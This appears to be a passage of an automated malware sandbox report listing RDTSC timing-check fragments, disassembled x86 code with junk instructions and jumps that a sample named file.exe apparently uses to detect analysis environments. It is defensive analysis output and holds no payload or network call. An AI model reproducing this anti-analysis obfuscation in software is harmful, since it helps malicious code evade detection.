Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00732 second address: 4B00738 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00738 second address: 4B0076E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B20D90AD3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F4B20D90AD6h 0x00000011 push eax 0x00000012 pushad 0x00000013 mov esi, ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00402 second address: 4B00408 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00408 second address: 4B0040C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B0040C second address: 4B00466 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a movzx esi, dx 0x0000000d pushfd 0x0000000e jmp 00007F4B2071E959h 0x00000013 sbb ch, FFFFFFD6h 0x00000016 jmp 00007F4B2071E951h 0x0000001b popfd 0x0000001c popad 0x0000001d xchg eax, ebp 0x0000001e pushad 0x0000001f mov bx, ax 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F4B2071E956h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00466 second address: 4B00498 instructions: 0x00000000 rdtsc 0x00000002 mov eax, 6064FB41h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov ebp, esp 0x0000000c jmp 00007F4B20D90ACCh 0x00000011 pop ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F4B20D90AD7h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B10157 second address: 4B1018E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B2071E94Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushfd 0x0000000e jmp 00007F4B2071E952h 0x00000013 sbb ax, 2E68h 0x00000018 jmp 00007F4B2071E94Bh 0x0000001d popfd 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B1018E second address: 4B1020B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F4B20D90AD6h 0x0000000b popad 0x0000000c push eax 0x0000000d jmp 00007F4B20D90ACBh 0x00000012 xchg eax, ebp 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 pushfd 0x00000017 jmp 00007F4B20D90ACBh 0x0000001c xor ecx, 55D60F0Eh 0x00000022 jmp 00007F4B20D90AD9h 0x00000027 popfd 0x00000028 pushfd 0x00000029 jmp 00007F4B20D90AD0h 0x0000002e sub ecx, 60D5B588h 0x00000034 jmp 00007F4B20D90ACBh 0x00000039 popfd 0x0000003a popad 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B1020B second address: 4B10223 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4B2071E954h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B10223 second address: 4B10227 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20384 second address: 4B20388 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20388 second address: 4B2038C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B2038C second address: 4B20392 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20392 second address: 4B203F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F4B20D90AD8h 0x00000009 adc si, 3F88h 0x0000000e jmp 00007F4B20D90ACBh 0x00000013 popfd 0x00000014 pushfd 0x00000015 jmp 00007F4B20D90AD8h 0x0000001a adc esi, 3CDC21E8h 0x00000020 jmp 00007F4B20D90ACBh 0x00000025 popfd 0x00000026 popad 0x00000027 pop edx 0x00000028 pop eax 0x00000029 xchg eax, ebp 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d push edi 0x0000002e pop eax 0x0000002f mov ax, bx 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B203F7 second address: 4B2040A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4B2071E94Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B2040A second address: 4B2040E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B2040E second address: 4B20444 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushfd 0x0000000e jmp 00007F4B2071E951h 0x00000013 and ax, 5166h 0x00000018 jmp 00007F4B2071E951h 0x0000001d popfd 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20444 second address: 4B20453 instructions: 0x00000000 rdtsc 0x00000002 mov edi, esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [ebp+08h] 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20453 second address: 4B20497 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B2071E951h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b popad 0x0000000c pop edi 0x0000000d popad 0x0000000e and dword ptr [eax], 00000000h 0x00000011 pushad 0x00000012 pushad 0x00000013 mov cl, 1Eh 0x00000015 mov ebx, 4B00F614h 0x0000001a popad 0x0000001b mov ax, dx 0x0000001e popad 0x0000001f and dword ptr [eax+04h], 00000000h 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007F4B2071E951h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20497 second address: 4B2049B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B2049B second address: 4B204A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B204A1 second address: 4B204A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B204A7 second address: 4B204AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00586 second address: 4B0058C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B0058C second address: 4B00590 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00590 second address: 4B00594 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B10F41 second address: 4B10F69 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B2071E950h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007F4B2071E94Dh 0x00000012 mov edx, eax 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B10F69 second address: 4B10F85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4B20D90AD8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B10F85 second address: 4B10F89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B201B1 second address: 4B201B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B201B7 second address: 4B201BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B201BB second address: 4B201BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B201BF second address: 4B20256 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F4B2071E957h 0x00000010 sub ecx, 2405934Eh 0x00000016 jmp 00007F4B2071E959h 0x0000001b popfd 0x0000001c pushfd 0x0000001d jmp 00007F4B2071E950h 0x00000022 or eax, 31DD37C8h 0x00000028 jmp 00007F4B2071E94Bh 0x0000002d popfd 0x0000002e popad 0x0000002f xchg eax, ebp 0x00000030 pushad 0x00000031 mov edx, eax 0x00000033 pushad 0x00000034 pushfd 0x00000035 jmp 00007F4B2071E94Eh 0x0000003a and si, 3A28h 0x0000003f jmp 00007F4B2071E94Bh 0x00000044 popfd 0x00000045 push ecx 0x00000046 pop edi 0x00000047 popad 0x00000048 popad 0x00000049 mov ebp, esp 0x0000004b push eax 0x0000004c push edx 0x0000004d push eax 0x0000004e push edx 0x0000004f pushad 0x00000050 popad 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20256 second address: 4B2025C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B2025C second address: 4B20262 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20262 second address: 4B20266 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20266 second address: 4B2027A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov bx, 8ACCh 0x00000010 mov cx, di 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B2027A second address: 4B20280 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20280 second address: 4B20284 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B40660 second address: 4B4066F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B20D90ACBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B4066F second address: 4B40686 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, 22h 0x00000005 mov edx, ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov ebp, esp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov si, bx 0x00000012 mov bx, 9D16h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B40686 second address: 4B4076C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F4B20D90ACAh 0x00000008 pop eax 0x00000009 mov dx, 77C6h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 jmp 00007F4B20D90ACAh 0x00000016 mov dword ptr [esp], ecx 0x00000019 pushad 0x0000001a pushfd 0x0000001b jmp 00007F4B20D90ACEh 0x00000020 sbb ax, 8068h 0x00000025 jmp 00007F4B20D90ACBh 0x0000002a popfd 0x0000002b mov dx, cx 0x0000002e popad 0x0000002f mov eax, dword ptr [76FB65FCh] 0x00000034 jmp 00007F4B20D90AD2h 0x00000039 test eax, eax 0x0000003b pushad 0x0000003c call 00007F4B20D90ACEh 0x00000041 pushfd 0x00000042 jmp 00007F4B20D90AD2h 0x00000047 jmp 00007F4B20D90AD5h 0x0000004c popfd 0x0000004d pop eax 0x0000004e pushfd 0x0000004f jmp 00007F4B20D90AD1h 0x00000054 adc ah, 00000046h 0x00000057 jmp 00007F4B20D90AD1h 0x0000005c popfd 0x0000005d popad 0x0000005e je 00007F4B93183CE4h 0x00000064 jmp 00007F4B20D90ACEh 0x00000069 mov ecx, eax 0x0000006b push eax 0x0000006c push edx 0x0000006d push eax 0x0000006e push edx 0x0000006f jmp 00007F4B20D90ACAh 0x00000074 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B4076C second address: 4B4077B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B2071E94Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B4077B second address: 4B40781 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B40781 second address: 4B4079B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B2071E94Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xor eax, dword ptr [ebp+08h] 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B4079B second address: 4B4079F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B4079F second address: 4B407A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B407A5 second address: 4B407AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B407AB second address: 4B407E4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B2071E955h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b and ecx, 1Fh 0x0000000e jmp 00007F4B2071E94Eh 0x00000013 ror eax, cl 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 mov edx, 253F9920h 0x0000001d mov ecx, edi 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B407E4 second address: 4B40800 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B20D90AD2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 leave 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d mov bh, ch 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B40800 second address: 4B40846 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F4B2071E959h 0x00000008 or ecx, 1F216586h 0x0000000e jmp 00007F4B2071E951h 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push eax 0x00000017 mov esi, ebx 0x00000019 pop ebx 0x0000001a popad 0x0000001b retn 0004h 0x0000001e nop 0x0000001f mov esi, eax 0x00000021 lea eax, dword ptr [ebp-08h] 0x00000024 xor esi, dword ptr [00E82014h] 0x0000002a push eax 0x0000002b push eax 0x0000002c push eax 0x0000002d lea eax, dword ptr [ebp-10h] 0x00000030 push eax 0x00000031 call 00007F4B2441F0C4h 0x00000036 push FFFFFFFEh 0x00000038 push eax 0x00000039 push edx 0x0000003a push eax 0x0000003b push edx 0x0000003c push eax 0x0000003d push edx 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B40846 second address: 4B4084A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B4084A second address: 4B40850 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B40850 second address: 4B4086D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4B20D90AD9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B4086D second address: 4B4088B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B2071E951h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B4088B second address: 4B4089E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B20D90ACFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B4089E second address: 4B408D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, dx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 ret 0x0000000a nop 0x0000000b push eax 0x0000000c call 00007F4B2441F127h 0x00000011 mov edi, edi 0x00000013 jmp 00007F4B2071E94Dh 0x00000018 xchg eax, ebp 0x00000019 jmp 00007F4B2071E94Eh 0x0000001e push eax 0x0000001f pushad 0x00000020 movsx edi, cx 0x00000023 push eax 0x00000024 push edx 0x00000025 movzx esi, bx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B408D0 second address: 4B408D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B408D4 second address: 4B408EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebp 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F4B2071E94Ch 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B408EA second address: 4B408F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B408F0 second address: 4B408F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B408F4 second address: 4B408F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B408F8 second address: 4B40913 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b mov si, di 0x0000000e push edi 0x0000000f mov edi, ecx 0x00000011 pop esi 0x00000012 popad 0x00000013 pop ebp 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 mov bx, 7F38h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF001B second address: 4AF006F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B20D90AD2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F4B20D90ACBh 0x0000000f xchg eax, ebp 0x00000010 jmp 00007F4B20D90AD6h 0x00000015 mov ebp, esp 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F4B20D90AD7h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF006F second address: 4AF009E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B2071E959h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and esp, FFFFFFF8h 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F4B2071E94Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF009E second address: 4AF00F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, ax 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push ecx 0x0000000c jmp 00007F4B20D90AD7h 0x00000011 pop esi 0x00000012 popad 0x00000013 mov dword ptr [esp], ecx 0x00000016 pushad 0x00000017 jmp 00007F4B20D90AD1h 0x0000001c popad 0x0000001d push ebx 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F4B20D90AD9h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF00F5 second address: 4AF0186 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, si 0x00000006 pushfd 0x00000007 jmp 00007F4B2071E958h 0x0000000c or cx, F488h 0x00000011 jmp 00007F4B2071E94Bh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov dword ptr [esp], ebx 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007F4B2071E954h 0x00000024 and cx, 56E8h 0x00000029 jmp 00007F4B2071E94Bh 0x0000002e popfd 0x0000002f pushfd 0x00000030 jmp 00007F4B2071E958h 0x00000035 sub al, 00000048h 0x00000038 jmp 00007F4B2071E94Bh 0x0000003d popfd 0x0000003e popad 0x0000003f mov ebx, dword ptr [ebp+10h] 0x00000042 push eax 0x00000043 push edx 0x00000044 pushad 0x00000045 mov esi, edx 0x00000047 mov eax, edx 0x00000049 popad 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF0186 second address: 4AF018C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF018C second address: 4AF01BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B2071E952h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 call 00007F4B2071E953h 0x00000016 pop eax 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF01BF second address: 4AF01C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF01C5 second address: 4AF01C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF01C9 second address: 4AF020C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F4B20D90AD7h 0x0000000e xchg eax, esi 0x0000000f pushad 0x00000010 mov di, cx 0x00000013 mov ah, A2h 0x00000015 popad 0x00000016 mov esi, dword ptr [ebp+08h] 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F4B20D90AD6h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF020C second address: 4AF0247 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F4B2071E951h 0x00000009 or cx, D3E6h 0x0000000e jmp 00007F4B2071E951h 0x00000013 popfd 0x00000014 mov ah, FEh 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push esp 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d pushad 0x0000001e popad 0x0000001f movsx ebx, cx 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF0247 second address: 4AF024F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, dx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF024F second address: 4AF026A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], edi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F4B2071E94Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF026A second address: 4AF027F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B20D90AD1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF027F second address: 4AF02B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 50E2h 0x00000007 call 00007F4B2071E953h 0x0000000c pop ecx 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 test esi, esi 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F4B2071E952h 0x00000019 rdtsc
